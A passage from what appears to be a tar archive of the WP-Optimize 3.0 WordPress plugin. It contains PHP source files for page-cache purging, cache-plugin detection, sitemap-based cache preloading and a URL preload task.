		$posts = get_posts(array(
			'numberposts'      => -1,
			'post_type'        => 'any',
			'fields'           => 'ids',
			'tax_query' => array(
				'relation' => 'OR',
				array(
					'taxonomy' => $taxonomy,
					'field'    => 'term_id',
					'terms'    => $term_id,
				)
			),
		));

		if (!empty($posts)) {
			foreach ($posts as $post_id) {
				WPO_Page_Cache::delete_single_post_cache($post_id);
			}
		}
	}

	/**
	 * Triggered by set_object_terms action. Used to clear all the terms archives a post belongs to or belonged to before being saved.
	 *
	 * @param int    $object_id  Object ID.
	 * @param array  $terms      An array of object terms.
	 * @param array  $tt_ids     An array of term taxonomy IDs.
	 * @param string $taxonomy   Taxonomy slug.
	 * @param bool   $append     Whether to append new terms to the old terms.
	 * @param array  $old_tt_ids Old array of term taxonomy IDs.
	 */
	public function purge_related_elements_on_post_terms_change($object_id, $terms, $tt_ids, $taxonomy, $append, $old_tt_ids) {

		$post_type = get_post_type($object_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		}

		// get all affected terms.
		$affected_terms_ids = array_unique(array_merge($tt_ids, $old_tt_ids));

		if (!empty($affected_terms_ids)) {
			// walk through all changed terms and purge cached pages for them.
			foreach ($affected_terms_ids as $tt_id) {
				$term = get_term($tt_id, $taxonomy, ARRAY_A);
				if (!is_array($term)) continue;

				$term_permalink = get_term_link($term['term_id']);
				if (!is_wp_error($term_permalink)) {
					WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
				}
			}
		}
	}

	/**
	 * Clears the cache.
	 */
	public function purge_cache() {
		if (!empty($this->config['enable_page_caching'])) {
			wpo_cache_flush();
		}
	}

	/**
	 * Triggered by wpo_cache_config_updated.
	 *
	 * @param array $config
	 */
	public function cache_config_updated($config) {
		// delete front page form cache if defined in the settings
		if (is_array($config['cache_exception_urls']) && in_array('/', $config['cache_exception_urls'])) {
			WPO_Page_Cache::delete_cache_by_url(home_url());
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}
}

endif;
wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/class-wpo-detect-cache-plugins.php000644 000000 000000 00000004277 13477736574 034624 0ustar00rootwheel000000 000000 cms<?php

if (!defined('ABSPATH')) die('No direct access allowed');

class WP_Optimize_Detect_Cache_Plugins {

	private static $instance;

	/**
	 * WP_Optimize_Detect_Cache_Plugins constructor.
	 */
	private function __construct() {
	}

	/**
	 * Detect list of active most popular WordPress cache plugins.
	 *
	 * @return array
	 */
	public function get_active_cache_plugins() {
		// The index is the plugin's slug
		$plugins = array(
			'w3-total-cache' => 'W3 Total Cache',
			'wp-super-cache' => 'WP Super Cache',
			'wp-rocket' => 'WP Rocket',
			'wp-fastest-cache' => 'WP Fastest Cache',
			'litespeed-cache' => 'LiteSpeed Cache',
			'cache-enabler' => 'Cache Enabler',
			'comet-cache' => 'Comet Cache',
			'hummingbird-performance' => 'Hummingbird',
			'hyper-cache' => 'Hyper Cache',
		);

		$active_cache_plugins = array();

		foreach ($plugins as $plugin_slug => $plugin_title) {

			$function_name = 'is_'.str_replace('-', '_', $plugin_slug).'_plugin_active';

			if (is_callable(array($this, $function_name))) {
				if (call_user_func(array($this, $function_name))) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			} else {
				if ($this->is_plugin_active($plugin_slug)) {
					$active_cache_plugins[$plugin_slug] = $plugin_title;
				}
			}
		}

		return $active_cache_plugins;
	}

	/**
	 * Check if W3 Total Cache active.
	 *
	 * @return bool
	 */
	public function is_w3_total_cache_plugin_active() {
		return defined('W3TC_VERSION') || $this->is_plugin_active('w3-total-cache');
	}

	/**
	 * Check if WP Rocket active.
	 *
	 * @return bool
	 */
	public function is_wp_rocket_plugin_active() {
		return defined('WP_ROCKET_VERSION') || $this->is_plugin_active('wp-rocket');
	}

	/**
	 * Check if $plugin is active.
	 *
	 * @param string $plugin - plugin slug
	 *
	 * @return bool
	 */
	private function is_plugin_active($plugin) {
		$status = WP_Optimize()->get_db_info()->get_plugin_status($plugin);

		return $status['active'];
	}

	/**
	 * Instance of WP_Optimize_Detect_Cache_Plugins.
	 *
	 * @return WP_Optimize_Detect_Cache_Plugins
	 */
	static public function instance() {
		if (empty(self::$instance)) {
			self::$instance = new WP_Optimize_Detect_Cache_Plugins();
		}

		return self::$instance;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/class-wpo-cache-preloader.php000644 000000 000000 00000063156 13614520640 033704 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

if (!class_exists('Updraft_Task_Manager_1_2')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task-manager.php');

if (!class_exists('WP_Optimize_Load_Url_Task')) require_once(dirname(__FILE__) . '/class-wpo-load-url-task.php');

class WP_Optimize_Page_Cache_Preloader extends Updraft_Task_Manager_1_2 {

	private $task_type = 'load-url-task';

	private $options;

	static protected $_instance = null;

	/**
	 * WP_Optimize_Page_Cache_Preloader constructor.
	 */
	public function __construct() {
		parent::__construct();

		$this->options = WP_Optimize()->get_options();
		// setup loggers
		$this->set_loggers(WP_Optimize()->wpo_loggers());

		add_filter('cron_schedules', array($this, 'cron_add_intervals'));
		add_action('wpo_page_cache_preload_continue', array($this, 'process_tasks_queue'));
		add_action('wpo_page_cache_schedule_preload', array($this, 'run_scheduled_cache_preload'));
		add_filter('updraft_interrupt_tasks_queue_'.$this->task_type, array($this, 'maybe_interrupt_queue'), 20);
	}

	/**
	 * Check if cache is active.
	 *
	 * @return bool
	 */
	public function is_cache_active() {
		return WP_Optimize()->get_page_cache()->is_enabled();
	}

	/**
	 * Schedule or delete automatic preload action on cache settings update.
	 *
	 * @param array $new_settings      The new settings
	 * @param array $previous_settings Settings before saving
	 */
	public function cache_settings_updated($new_settings, $previous_settings) {
		if (!$new_settings['enable_page_caching']) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			$this->delete_preload_continue_action();
			return;
		}

		if (!empty($new_settings['enable_schedule_preload'])) {

			$last_schedule_type = $previous_settings['preload_schedule_type'];

			if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
				// if already scheduled this schedule type
				if ($new_settings['preload_schedule_type'] == $last_schedule_type) {
					// If the schedule type is cache lifespan, check if the cache lifespan changed.
					if ('wpo_use_cache_lifespan' == $new_settings['preload_schedule_type']) {
						// Else, if the settings cache lifespan settings haven't changed, returns
						if ($new_settings['page_cache_length_value'] == $previous_settings['page_cache_length_value'] && $new_settings['page_cache_length_unit'] == $previous_settings['page_cache_length_unit']) {
							return;
						}
					} else {
						return;
					}
				}
				// clear currently scheduled preload action.
				wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
			}
			// schedule preload action.
			wp_schedule_event((time() + $this->get_schedule_interval($new_settings['preload_schedule_type'])), $new_settings['preload_schedule_type'], 'wpo_page_cache_schedule_preload');
		} else {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

	}

	/**
	 * Clear active preload tasks, reschedule preload action.
	 */
	public function reschedule_preload() {
		// clear scheduled action.
		if (wp_next_scheduled('wpo_page_cache_schedule_preload')) {
			wp_clear_scheduled_hook('wpo_page_cache_schedule_preload');
		}

		// schedule preload action if need.
		if ($this->is_scheduled_preload_enabled()) {
			$preload_schedule_type = $this->get_cache_config('preload_schedule_type');
			wp_schedule_event(time() + $this->get_schedule_interval($preload_schedule_type), $preload_schedule_type, 'wpo_page_cache_schedule_preload');
		}
	}

	/**
	 * Check if scheduled preload enabled.
	 *
	 * @return bool
	 */
	public function is_scheduled_preload_enabled() {
		$enable_schedule_preload = $this->get_cache_config('enable_schedule_preload');
		return !empty($enable_schedule_preload);
	}

	/**
	 * Get a schedule interval
	 *
	 * @param string $schedule_key The schedule to check
	 * @return integer
	 */
	private function get_schedule_interval($schedule_key) {
		$schedules = wp_get_schedules();
		if (!isset($schedules[$schedule_key])) {
			$this->log('Could not get interval for event of type '.$schedule_key);
			return 0;
		}
		return isset($schedules[$schedule_key]['interval']) ? $schedules[$schedule_key]['interval'] : 0;
	}

	/**
	 * Add intervals to cron schedules.
	 *
	 * @param array $schedules
	 *
	 * @return array
	 */
	public function cron_add_intervals($schedules) {
		$interval = $this->get_continue_preload_cron_interval();
		$schedules['wpo_page_cache_preload_continue_interval'] = array(
			'interval' => $interval,
			'display' => round($interval / 60, 1).' minutes'
		);

		$schedules['wpo_use_cache_lifespan'] = array(
			'interval' => WPO_Cache_Config::instance()->get_option('page_cache_length'),
			'display' => 'Same as cache lifespan: '.WPO_Cache_Config::instance()->get_option('page_cache_length_value').' '.WPO_Cache_Config::instance()->get_option('page_cache_length_unit')
		);

		return $schedules;
	}

	/**
	 * Get the interval to continuing a preload task
	 *
	 * @return integer
	 */
	private function get_continue_preload_cron_interval() {
		/**
		 * Filters the interval between each preload attempt, in seconds.
		 */
		return (int) apply_filters('wpo_page_cache_preload_continue_interval', 600);
	}

	/**
	 * Schedule action for continuously preload.
	 */
	public function schedule_preload_continue_action() {
		$continue_in = wp_next_scheduled('wpo_page_cache_preload_continue');

		// Action is still scheduled
		if ($continue_in && $continue_in > 0) return;
		// Action is overdue, delete it and re schedule it
		if ($continue_in && $continue_in < 0) $this->delete_preload_continue_action();

		wp_schedule_event(time() + $this->get_schedule_interval('wpo_page_cache_preload_continue_interval'), 'wpo_page_cache_preload_continue_interval', 'wpo_page_cache_preload_continue');
	}

	/**
	 * Delete scheduled action for continuously preload.
	 */
	public function delete_preload_continue_action() {
		wp_clear_scheduled_hook('wpo_page_cache_preload_continue');
	}

	/**
	 * Run cache preload. If task queue is empty it creates tasks for site urls.
	 *
	 * @param string $type     - The preload type (schedule | manual)
	 * @param array  $response - Specific response for echo into output thread when browser connection closing.
	 * @return array|void - Void when closing the browser connection
	 */
	public function run($type = 'scheduled', $response = null) {
		if (!$this->is_cache_active()) {
			return array(
				'success' => false,
				'error' => __('Page cache is disabled.', 'wp-optimize')
			);
		}

		if (empty($response)) {
			$response = array('success' => true);
		}

		$is_wp_cli = defined('WP_CLI') && WP_CLI;

		// close browser connection and continue work.
		// don't close connection for WP-CLI
		if (false == $is_wp_cli) {
			WP_Optimize()->close_browser_connection(json_encode($response));
		}

		// trying to change time limit.
		WP_Optimize()->change_time_limit();

		$status = $this->get_status($this->task_type);

		if (0 == $status['all_tasks']) {
			if (is_multisite()) {
				$sites = WP_Optimize()->get_sites();

				foreach ($sites as $site) {
					switch_to_blog($site->blog_id);
					$this->create_tasks_for_preload_site_urls($type);
					restore_current_blog();
				}
			} else {
				$this->create_tasks_for_preload_site_urls($type);
			}
		}

		$this->process_tasks_queue();

		// return $response in WP-CLI mode
		if ($is_wp_cli) {
			return $response;
		}
	}

	/**
	 * Check if we need run cache preload and run it.
	 */
	public function run_scheduled_cache_preload() {

		$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
		if (!$schedule_type) return;

		// Don't run preload if cache lifespan option enabled and cache not expired yet.
		if ('wpo_use_cache_lifespan' == $schedule_type) {

			/**
			 * Filters the allowed time difference between the cache exiry and the current time, in seconds.
			 * If the cache expires in less than $allowed_time_difference, preload. Otherwise leave it.
			 *
			 * @param integer $allowed_time_difference The time difference, in seconds (default = 600)
			 */
			$allowed_time_difference = apply_filters('wpo_preload_allowed_time_difference', 600);
			$page_cache_lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length', 0);
			$last_preload_time = $this->options->get_option('wpo_last_page_cache_preload', 0);
			$time_since_last_preload = time() - $last_preload_time;
			$minimum_time_to_next_schedule_preload = $page_cache_lifespan - $allowed_time_difference;
			// Skip this if the last preload is not as old as the cache lifespan minus $allowed_time_difference
			if ($page_cache_lifespan > 0 && $time_since_last_preload < $minimum_time_to_next_schedule_preload) return;
		}

		$this->run();
	}

	/**
	 * Process tasks queue.
	 */
	public function process_tasks_queue() {
		// schedule continue preload action.
		$this->schedule_preload_continue_action();

		if (!$this->process_queue($this->task_type)) {
			return;
		}

		// delete scheduled continue preload action.
		$this->delete_preload_continue_action();

		// update last cache preload time only if processing any tasks, else process was cancelled.
		if ($this->is_running()) {
			$this->options->update_option('wpo_last_page_cache_preload', time(), false);
		}

		$this->clean_up_old_tasks($this->task_type);
	}

	/**
	 * Find out if the current queue should be interrupted
	 *
	 * @param boolean $interrupt
	 * @return boolean
	 */
	public function maybe_interrupt_queue($interrupt) {

		if ($interrupt) return $interrupt;

		static $memory_threshold = null;
		if (null == $memory_threshold) {
			/**
			 * Filters the minimum memory required before stopping a queue. Default: 10MB
			 */
			$memory_threshold = apply_filters('wpo_page_cache_preload_memory_threshold', 10485760);
		}

		return WP_Optimize()->get_free_memory() < $memory_threshold;
	}

	/**
	 * Delete all preload tasks from queue.
	 */
	public function cancel_preload() {
		$this->delete_tasks($this->task_type);
		$this->delete_preload_continue_action();
	}

	/**
	 * Check if preloading queue is processing.
	 *
	 * @return bool
	 */
	public function is_busy() {
		$is_busy = false;

		// Trying to lock queue semaphore and if we can't lock then assume the queue is processing.

		$queue_semaphore = new Updraft_Semaphore_2_1($this->task_type);
		$lock = $queue_semaphore->lock();

		if (!$lock) {
			$is_busy = true;
		} else {
			$queue_semaphore->unlock();
		}

		return $is_busy;
	}

	/**
	 * Get current status of preloading urls.
	 *
	 * @return array
	 */
	public function get_status_info() {

		$status = $this->get_status($this->task_type);
		$cache_size = WP_Optimize()->get_page_cache()->get_cache_size();

		if ($status['complete_tasks'] == $status['all_tasks']) {
			$gmt_offset = (int) (3600 * get_option('gmt_offset'));

			$last_preload_time = $this->options->get_option('wpo_last_page_cache_preload');

			if ($last_preload_time) {

				$last_preload_time_str = date_i18n(get_option('time_format').', '.get_option('date_format'), $last_preload_time + $gmt_offset);

				return array(
					'done' => true,
					'message' => sprintf(__('Last preload finished at %s', 'wp-optimize'), $last_preload_time_str),
					'size' => WP_Optimize()->format_size($cache_size['size']),
					'file_count' => $cache_size['file_count']
				);
			} else {
				return array(
					'done' => true,
					'size' => WP_Optimize()->format_size($cache_size['size']),
					'file_count' => $cache_size['file_count']
				);
			}
		} else {
			$preload_resuming_time = wp_next_scheduled('wpo_page_cache_preload_continue');
			$preload_resuming_in = $preload_resuming_time ? $preload_resuming_time - time() : 0;
			$return = array(
				'done' => false,
				'message' => sprintf(_n('%1$s of %2$s URL preloaded', '%1$s of %2$s URLs preloaded', $status['all_tasks'], 'wp-optimize'), $status['complete_tasks'], $status['all_tasks']),
				'size' => WP_Optimize()->format_size($cache_size['size']),
				'file_count' => $cache_size['file_count'],
				'resume_in' => $preload_resuming_in
			);
			if (defined('DOING_AJAX') && DOING_AJAX) {
				// if no cron was found or cron is overdue more than 20s, trigger it
				if (!$preload_resuming_time || $preload_resuming_in < -20) {
					$this->run($return);
				}
			}
			return $return;
		}
	}

	/**
	 * Check if preload action in process.
	 *
	 * @return bool
	 */
	public function is_running() {
		$status = $this->get_status($this->task_type);

		if ($status['all_tasks'] > 0) return true;
	}

	/**
	 * Get cache config option value.
	 *
	 * @return mixed
	 */
	public function get_cache_config($option) {
		static $config = null;

		if (null === $config) $config = WPO_Page_Cache::instance()->config->get();

		if (is_array($config) && array_key_exists($option, $config)) {
			return $config[$option];
		}

		return false;
	}

	/**
	 * Create tasks (WP_Optimize_Load_Url_Task) for preload all urls from site.
	 *
	 * @param string $type The preload type (currently: scheduled, manual)
	 * @return void
	 */
	public function create_tasks_for_preload_site_urls($type) {
		$urls = $this->get_site_urls();

		if (!empty($urls)) {

			$this->log(__('Creating tasks for preload site urls.', 'wp-optimize'));

			foreach ($urls as $url) {
				if (wpo_url_in_exceptions($url)) continue;

				if ($this->url_is_already_cached($url, $type)) {
					continue;
				}

				// this description is being used for internal purposes.
				$description = 'Preload - '.$url;
				$options = array('url' => $url, 'preload_type' => $type, 'anonymous_user_allowed' => (defined('DOING_CRON') && DOING_CRON) || (defined('WP_CLI') && WP_CLI));

				WP_Optimize_Load_Url_Task::create_task($this->task_type, $description, $options, 'WP_Optimize_Load_Url_Task');
			}

			$this->log(__('Tasks for preload site urls created.', 'wp-optimize'));
		}
	}

	/**
	 * Preload desktop version from url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_desktop($url) {
		$desktop_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
			'timeout'     => 10,
		);

		$desktop_args = apply_filters('wpo_page_cache_preloader_desktop_args', $desktop_args, $url);

		$this->log('preload_desktop - '. $url);

		wp_remote_get($url, $desktop_args);
	}


	/**
	 * Preload mobile version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_mobile($url) {
		static $is_mobile_caching_enabled;
		if (!isset($is_mobile_caching_enabled)) {
			$is_mobile_caching_enabled = $this->get_cache_config('enable_mobile_caching');
		}

		// Only run if option is active
		if (!$is_mobile_caching_enabled) return;

		$mobile_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1',
			'timeout'     => 10,
		);

		$mobile_args = apply_filters('wpo_page_cache_preloader_mobile_args', $mobile_args, $url);

		$this->log('preload_mobile - ' . $url);

		wp_remote_get($url, $mobile_args);
	}

	/**
	 * Preload amp version from $url.
	 *
	 * @param string $url
	 *
	 * @return void
	 */
	public function preload_amp($url) {
		if (!apply_filters('wpo_should_preload_amp', false, $url)) return;

		$amp_args = array(
			'httpversion' => '1.1',
			'user-agent'  => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36',
			'timeout'     => 10,
		);

		$url = untrailingslashit($url) . '/amp/';

		$amp_args = apply_filters('wpo_page_cache_preloader_amp_args', $amp_args, $url);

		$this->log('preload_amp - ' . $url);

		wp_remote_get($url, $amp_args);
	}

	/**
	 * Check if sitemap exists then returns list of urls from sitemap file otherwise returns all posts urls.
	 *
	 * @return array
	 */
	public function get_site_urls() {

		if ($this->exists_sitemap_file()) {
			$urls = $this->get_sitemap_urls();
		} else {
			$urls = $this->get_post_urls();
		}

		$this->log(sprintf(_n('%d url found.', '%d urls found.', count($urls), 'wp-optimize'), count($urls)));

		return $urls;
	}

	/**
	 * Check if sitemap file is exists.
	 *
	 * @return bool
	 */
	public function exists_sitemap_file() {

		$response = wp_remote_get(site_url('/sitemap.xml'), array('timeout' => 10));

		if (is_wp_error($response) || '200' != wp_remote_retrieve_response_code($response)) {
			$sitemap_file = $this->get_local_sitemap_file();

			if (is_file($sitemap_file)) {
				return true;
			} else {
				return false;
			}
		} else {
			return true;
		}

	}

	/**
	 * Loads sitemap file and returns list of urls.
	 *
	 * @param string $sitemap_url
	 *
	 * @return array|bool
	 */
	public function get_sitemap_urls($sitemap_url = '') {

		$urls = array();

		// if sitemap url is empty then use main sitemap file name.
		$sitemap_url = ('' === $sitemap_url) ? site_url('/sitemap.xml') : $sitemap_url;

		// if simplexml_load_string not available then we don't load sitemap.
		if (!function_exists('simplexml_load_string')) {
			return $urls;
		}

		// load sitemap file.
		$response = wp_remote_get($sitemap_url, array('timeout' => 30));

		// if we get error then
		if (is_wp_error($response)) {
			$response = file_get_contents($sitemap_url);

			// if response is empty then try load from file.
			if (empty($response) && '' == $sitemap_url) {
				$sitemap_file = $this->get_local_sitemap_file();

				$response = file_get_contents($sitemap_file);
			}

			if (empty($response)) return $urls;

			$xml = simplexml_load_string($response);
		} else {
			// parse xml answer.
			$xml = simplexml_load_string(wp_remote_retrieve_body($response));
		}

		// if exists urls then return them.
		if (isset($xml->url)) {
			foreach ($xml->url as $element) {
				if (!isset($element->loc)) continue;
				$urls[] = (string) $element->loc;
			}
		} elseif (isset($xml->sitemap)) {
			// if has links to other sitemap files then get urls from them.
			foreach ($xml->sitemap as $element) {
				if (!isset($element->loc)) continue;

				$urls = array_merge($urls, $this->get_sitemap_urls($element->loc));
			}
		}

		return $urls;
	}

	/**
	 * Get the path to a local sitemap.xml file
	 *
	 * @return string
	 */
	private function get_local_sitemap_file() {
		if (!function_exists('get_home_path')) {
			include_once ABSPATH . '/wp-admin/includes/file.php';
		}
		return trailingslashit(get_home_path()) . 'sitemap.xml';
	}

	/**
	 * Get all posts of any post type and returns urls for them.
	 *
	 * @return array
	 */
	public function get_post_urls() {

		$offset = 0;
		$posts_per_page = 1000;
		$urls = array();

		$urls[] = site_url('/');

		do {
			$query = new WP_Query(array(
				'post_type'         => 'any',
				'post_status'       => 'publish',
				'posts_per_page'    => $posts_per_page,
				'offset'            => $offset,
				'orderby'           => 'ID',
				'order'             => 'ASC',
				'cache_results'     => false, // disable cache to avoid memory error.
			));

			$posts_loaded = $query->post_count;

			while ($query->have_posts()) {
				$query->the_post();
				$urls[] = get_permalink();
			}

			$offset += $posts_loaded;
		} while ($posts_loaded > 0);

		/**
		 * If domain mapping enabled then replace domains in urls.
		 */
		if ($this->is_domain_mapping_enabled()) {
			$blog_id = get_current_blog_id();

			$mapped_domain = $this->get_mapped_domain($blog_id);
			$blog_details = get_blog_details($blog_id);

			if ($mapped_domain) {
				foreach ($urls as $i => $url) {
					$urls[$i] = preg_replace('/'.$blog_details->domain.'/i', $mapped_domain, $url, 1);
				}
			}
		}

		wp_reset_postdata();

		return $urls;
	}

	/**
	 * Check if domain mapping enabled.
	 *
	 * @return bool
	 */
	public function is_domain_mapping_enabled() {
		// SUNRISE constant is defined with installation WordPress MU Domain Mapping plugin.
		$enabled = is_multisite() && defined('SUNRISE') && 'on' == strtolower(SUNRISE);

		/**
		 * Filters if Multisite Domain mapping is enabled.
		 * Currently, we can only detect if the WordPress MU Domain Mapping plugin is in use.
		 * Using the WP Core functionality should not require this, unless if the domain name is set somewhere else but in the site url option.
		 */
		return apply_filters('wpo_is_domain_mapping_enabled', $enabled);
	}

	/**
	 * Return mapped domain by $blog_id.
	 *
	 * @param int $blog_id
	 *
	 * @return string
	 */
	public function get_mapped_domain($blog_id) {
		global $wpdb;

		$domain = '';
		$multisite_plugin_table_name = $wpdb->base_prefix.'domain_mapping';
		// Check if table exists
		if ($wpdb->get_var("SHOW TABLES LIKE '$multisite_plugin_table_name'") != $multisite_plugin_table_name) {
			// This table created in WordPress MU Domain Mapping plugin.
			$row = $wpdb->get_row("SELECT `domain` FROM {$multisite_plugin_table_name} WHERE `blog_id` = {$blog_id} AND `active` = 1", ARRAY_A);
			if (!empty($row)) {
				$domain = $row['domain'];
			}
		} else {
			// When using the WP Core method, the site url option contains the mapped domain.
			$domain = get_site_url($blog_id);
		}

		/**
		 * Filters the mapped domain name
		 *
		 * @param string  $domain  The domain name
		 * @param integer $blog_id The blog ID
		 */
		return apply_filters('wpo_get_mapped_domain', $domain, $blog_id);
	}

	/**
	 * Captures and logs any interesting messages
	 *
	 * @param String $message    - the error message
	 * @param String $error_type - the error type
	 */
	public function log($message, $error_type = 'info') {

		if (isset($this->loggers)) {
			foreach ($this->loggers as $logger) {
				$logger->log($error_type, $message);
			}
		}
	}

	/**
	 * Instance of WP_Optimize_Page_Cache_Preloader.
	 *
	 * @return WP_Optimize_Page_Cache_Preloader
	 */
	public static function instance() {
		if (empty(self::$_instance)) {
			self::$_instance = new WP_Optimize_Page_Cache_Preloader();
		}

		return self::$_instance;
	}

	/**
	 * Check if the URL is already cached, or needs to be preloaded
	 *
	 * @param string $url          The preloaded url
	 * @param string $preload_type The preload type (manual | scheduled)
	 * @return boolean
	 */
	private function url_is_already_cached($url, $preload_type) {
		static $files = array();
		$regenerate_count = 0;
		$folder = trailingslashit(WPO_CACHE_FILES_DIR) . wpo_get_url_path($url);
		// If the folder does not exist, consider the URL as cleared
		if (!is_dir($folder)) return false;

		if (empty($files)) {
			// Check only the base files
			$files[] = 'index.html';

			if (WPO_Cache_Config::instance()->get_option('enable_mobile_caching')) {
				$files[] = 'mobile.index.html';
			}
			$files = apply_filters('wpo_maybe_clear_files_list', $files);
		}

		foreach ($files as $file) {
			$file_path = trailingslashit($folder).$file;
			if (!file_exists($file_path)) {
				// The file does not exist, count it as "deleted"
				$regenerate_count++;
				continue;
			}

			if ($this->should_regenerate_file($file_path, $preload_type)) {
				// delefe the expired cache file
				unlink($file_path);
				$regenerate_count++;
			}
		}

		// if 0 == $regenerate_count, nothing all the expected files exist, and none were deleted.
		return 0 == $regenerate_count;
	}

	/**
	 * Determine if a file should be regenerated
	 *
	 * @param string $path         The file to check
	 * @param string $preload_type The preload type (manual | scheduled)
	 *
	 * @return boolean
	 */
	private function should_regenerate_file($path, $preload_type) {
		// Store the variables, as they'll be used for each file and each file
		static $is_preloader_scheduled = null;
		static $lifespan = null;
		static $schedule_type = null;
		static $schedule_interval = null;
		static $lifespan_expiry_threshold = null;
		static $always_regenerate_file_if_preload_is_manual = null;
		static $always_regenerate_file_if_preload_is_scheduled = null;
		static $regenerate_file_when_no_expiry_date = null;

		// Sets the variables once per request:
		if (null === $is_preloader_scheduled) {
			$is_preloader_scheduled = WPO_Cache_Config::instance()->get_option('enable_schedule_preload');
			$schedule_type = WPO_Cache_Config::instance()->get_option('preload_schedule_type');
			$lifespan = WPO_Cache_Config::instance()->get_option('page_cache_length');
			$schedule_interval = $this->get_schedule_interval($schedule_type);

			/**
			 * Expiry threshold: the current file will be considered stale if within the threshold. Default: 600s (10min)
			 */
			$lifespan_expiry_threshold = apply_filters('wpo_lifespan_expiry_threshold', 600);

			/**
			 * Filters if a cache should systematically be regenerated when running a manual preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_manual = apply_filters('wpo_always_regenerate_file_if_preload_is_manual', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a scheduled preload. Default: false
			 */
			$always_regenerate_file_if_preload_is_scheduled = apply_filters('wpo_always_regenerate_file_if_preload_is_scheduled', false);

			/**
			 * Filters if a cache should systematically be regenerated when running a preload and no schedule is set, and cache does not expire. Default: true
			 */
			$regenerate_file_when_no_expiry_date = apply_filters('wpo_regenerate_file_when_no_expiry_date', true);
		}

		if (($always_regenerate_file_if_preload_is_manual && 'manual' == $preload_type) || ($always_regenerate_file_if_preload_is_scheduled && 'scheduled' == $preload_type)) {
			$result = true;
		} else {

			$modified_time = (int) filemtime($path);

			// cache lifespan is set.
			if (0 != $lifespan) {
				$expiry_time = $modified_time + $lifespan - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} elseif ($is_preloader_scheduled) {
				$expiry_time = $modified_time + $schedule_interval - $lifespan_expiry_threshold;
				$result = time() > $expiry_time;
			} else {
				$result = $regenerate_file_when_no_expiry_date;
			}
			
		}
		
		return apply_filters('wpo_preloader_should_regenerate_file', $result, $path, $preload_type);
	}
}

WP_Optimize_Page_Cache_Preloader::instance();
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/class-wpo-load-url-task.php000644 000000 000000 00000003024 13637401250 033331 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('Access denied.');

if (!class_exists('Updraft_Task_1_1')) require_once(WPO_PLUGIN_MAIN_PATH . 'vendor/team-updraft/common-libs/src/updraft-tasks/class-updraft-task.php');

if (!class_exists('WP_Optimize_Page_Cache_Preloader')) require_once(dirname(__FILE__) . '/class-wpo-cache-preloader.php');

class WP_Optimize_Load_Url_Task extends Updraft_Task_1_1 {

	/**
	 * Default options.
	 */
	public function get_default_options() {
		return array();
	}

	/**
	 * Run preload http requests with different user-agent values to cache pages for different devices.
	 *
	 * @return bool
	 */
	public function run() {
		$url = $this->get_option('url');

		if (empty($url)) return;

		$cache_preloader = WP_Optimize_Page_Cache_Preloader::instance();

		// load pages with different user-agents values.

		$cache_preloader->preload_desktop($url);
		$cache_preloader->preload_mobile($url);
		$cache_preloader->preload_amp($url);

		if (defined('WP_CLI') && WP_CLI) {
			WP_CLI::log($url);
		}

		/**
		 * Action triggered after preloading a single url
		 *
		 * @param string $url             The url to preload
		 * @param object $cache_preloader Cache preloader instance
		 */
		do_action('wpoptimize_after_preload_url', $url, $cache_preloader);

		/**
		 * Allows to change the delay between each URL preload, to reduce server load.
		 *
		 * @param integer $preload_delay The delay between each request in microseconds (1000000 = 1 second).
		 */
		usleep(apply_filters('wpoptimize_preload_delay', 500000));

		return true;
	}
}
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/class-cache-commands.php000644 000000 000000 00000016305 13614520640 032717 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * All cache commands that are intended to be available for calling from any sort of control interface (e.g. wp-admin, UpdraftCentral) go in here. All public methods should either return the data to be returned, or a WP_Error with associated error code, message and error data.
 */
class WP_Optimize_Cache_Commands {

	private $optimizer;

	private $options;

	/**
	 * WP_Optimize_Cache_Commands constructor.
	 */
	public function __construct() {
		$this->optimizer = WP_Optimize()->get_optimizer();
		$this->options = WP_Optimize()->get_options();
	}

	/**
	 * Save cache settings
	 *
	 * @param array $data
	 *
	 * @return array
	 */
	public function save_cache_settings($data) {

		if (!class_exists('WPO_Cache_Config')) return array(
			'result' => false,
			'message' => "WPO_Cache_Config class doesn't exist",
		);

		$enabled = false;
		$return = array();
		$previous_settings = WPO_Cache_Config::instance()->get();

		// disable cache.
		if (empty($data['cache-settings']['enable_page_caching'])) {
			WPO_Page_Cache::instance()->disable();
		} else {
			// we need to rebuild advanced-cache.php and add WP_CACHE to wp-config.
